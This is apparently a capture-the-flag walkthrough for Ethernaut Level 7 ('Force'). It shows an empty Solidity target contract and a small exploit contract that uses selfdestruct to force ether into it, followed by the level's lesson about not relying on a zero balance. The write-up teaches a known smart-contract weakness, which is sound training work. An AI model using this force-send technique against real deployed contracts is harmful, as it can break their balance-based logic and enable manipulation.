Level 7 - Force ⏺⏺⏺

The EthernautOpenZeppelin

Level Setup

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

• Fallback methods

• Sometimes the best way to attack a contract is with another contract.

• See the "?" page above, section "Beyond the console"

Level Contract

ethernaut/contracts/src/levels/Force.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Exploit

The exploit uses selfdestruct to force funds to be sent to the contract.

1. Create an attack contract that contains funds (1 wei) which is then force sent to the target contract using selfdestruct.

Anvil

make anvil-exploit-level-7

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Holesky

Exploit Contract

ethernaut-foundry/src/Level7.sol at main · EridianAlpha/ethernaut-foundryGitHub

src/Level7.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 7 - FORCE                       │
// ================================================================
contract Selfdestruct {
    function attack(address _targetContractAddress) public payable {
        selfdestruct(payable(_targetContractAddress));
    }
}

Exploit Deployment Script

1. Submit instance... 🥳

Completion Message

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.

Notes

EIP-6780: SELFDESTRUCT only in same transactionEthereum Improvement Proposals

ethernaut-openzeppelin-hacks/level_7_Force.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub